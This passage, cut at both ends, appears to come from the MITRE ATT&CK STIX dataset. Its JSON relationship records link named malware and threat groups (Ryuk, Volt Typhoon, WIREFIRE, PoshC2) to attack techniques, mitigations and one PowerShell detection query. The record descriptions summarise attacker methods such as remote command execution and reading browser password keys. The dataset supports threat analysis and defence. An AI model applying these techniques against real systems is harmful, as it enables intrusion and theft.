2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T21:08:09.873Z","description":"[WIREFIRE](https://attack.mitre.org/software/S1115) can modify the `visits.py` component of Ivanti Connect Secure VPNs for file download and arbitrary command execution.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9fb0958-7f80-4bd5-80c2-9665124f1d0e","type":"relationship","created":"2019-04-23T16:12:37.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.960Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains a module for taking packet captures on compromised hosts.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9fc4a7b-e8ba-4e50-b97f-9afabcfc73a8","type":"relationship","created":"2020-10-01T13:33:13.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:33:13.867Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa0217c0-038b-44ed-8e16-f23ceb01b6a8","type":"relationship","created":"2021-06-25T12:51:12.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberArk Labs Safe Mode 2016","url":"https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise","description":"Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021."}],"modified":"2021-08-31T14:51:49.475Z","description":"Ensure that endpoint defenses run in safe mode.(Citation: CyberArk Labs Safe Mode 2016)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa035513-59b6-4f54-8b85-13ec08849453","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Felismus Mar 2017","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}],"modified":"2020-03-30T18:52:30.793Z","description":"Some [Felismus](https://attack.mitre.org/software/S0171) samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa049cca-da7d-4d89-ac34-cab537ce0235","type":"relationship","created":"2020-05-14T14:38:22.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-14T14:38:22.633Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has attempted to adjust its token privileges to have the SeDebugPrivilege.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:49.025Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) has the ability to remotely execute commands.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa0622d6-2b58-476f-9c57-e629785b0415","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","source_name":"McAfee Bankshot"}],"modified":"2019-09-09T19:15:45.691Z","description":"(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa0705b0-8006-4e73-9a7c-aa051320f8b4","type":"relationship","created":"2021-10-12T21:06:28.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-10-12T21:06:28.254Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has executed hidden PowerShell windows.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fa0bc7fd-2e00-435b-8cb3-0ade491d1259","created":"2022-08-07T15:09:28.959Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) can collect local data from an infected machine.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa0e5b1c-2434-4aff-ab0c-25efb7ba1b49","created":"2022-09-08T13:41:52.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:45:48.579Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors copied files to company web servers and subsequently downloaded them.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa0f9d88-17b4-4ff2-974e-2d12063646b7","created":"2024-05-20T21:13:38.563Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:13:38.563Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has accessed a Local State file that contains the AES key used to encrypt passwords stored in the Chrome browser.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa14a106-cc98-4a5f-b849-85a5491eea36","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}],"modified":"2019-10-15T22:51:03.062Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) can delete files and itself after infection to avoid analysis.(Citation: US-CERT Volgmer 2 Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-18T19:38:52.462Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used net user /domain to identify account information.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa1a6124-f244-4509-9326-f3ff9eb62ab8","created":"2024-06-06T18:29:59.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:36:48.622Z","description":"(Citation: Cybereason INC Ransomware November 2023)(Citation: Secureworks GOLD IONIC April 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa211b49-7df8-4283-8a70-78b4b81bbba9","created":"2021-03-12T14:05:14.010Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:27:50.926Z","description":"[Penquin](https://attack.mitre.org/software/S0587) has encrypted strings in the binary for obfuscation.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa224c64-2157-4c2f-9f9c-451a3923cc42","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","source_name":"Unit 42 RGDoor Jan 2018"}],"modified":"2019-09-04T22:55:41.567Z","description":"(Citation: Unit 42 RGDoor Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa22812f-01a4-420a-be11-7cb5822026e5","type":"relationship","created":"2021-03-05T18:54:56.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.644Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used certutil to decode Base64 binaries at runtime and a 16-byte XOR key to decrypt data.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa27f615-56c5-4089-bcda-657999868e53","type":"relationship","created":"2020-07-17T17:34:21.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:08:27.413Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has installed legitimate but vulnerable Total Video Player software and wdigest.dll library drivers on compromised hosts to exploit stack overflow and input validation vulnerabilities for code execution.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa29c7d5-1466-4fe3-9aa8-a4a594be9c3c","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SilentBreak Offensive PS Dec 2015","description":"Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.","url":"https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"},{"source_name":"Sixdub PowerPick Jan 2016","description":"Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.","url":"https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T14:33:22.467Z","description":"Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nAnalytic 1 - Processes loading PowerShell assemblies\n\nsourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational\n| search EventCode=7 ImageLoaded IN (\"C:\\\\Windows\\\\System32\\\\System.Management.Automation.dll\", \"C:\\\\Windows\\\\System32\\\\powershell.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa2a7222-e9b1-4e97-82da-42a9c4014bdd","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.727Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can list the running processes and get the process ID and parent process’s ID.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa2bb401-2ab0-4971-948b-7faf58394399","created":"2024-08-08T18:15:48.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:55:49.107Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can open cmd.exe to enable command execution.(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Backdoor.Nidiran","description":"Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Nidiran](https://attack.mitre.org/software/S0118) can create a new service named msamger (Microsoft Security Accounts Manager).(Citation: Symantec Backdoor.Nidiran)","relationship_type":"uses","source_ref":"malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa38f089-4ab6-464b-aab6-df2a0f0bdc6e","created":"2024-09-06T21:52:56.003Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:52:56.003Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has abused default user names and passwords in externally-accessible IP cameras for initial access.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fa426e9e-7e77-4c1b-b03c-00a4ae45ac6c","created":"2022-09-07T14:16:35.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:35:54.675Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors communicated with C2 via an encrypted RC4 byte stream and AES-CBC.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa443fec-23f0-40dd-8a94-06cd19f4eb86","type":"relationship","created":"2021-02-23T20:50:33.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.426Z","description":"[Conficker](https://attack.mitre.org/software/S0608) downloads an HTTP server to the infected machine.(Citation: SANS 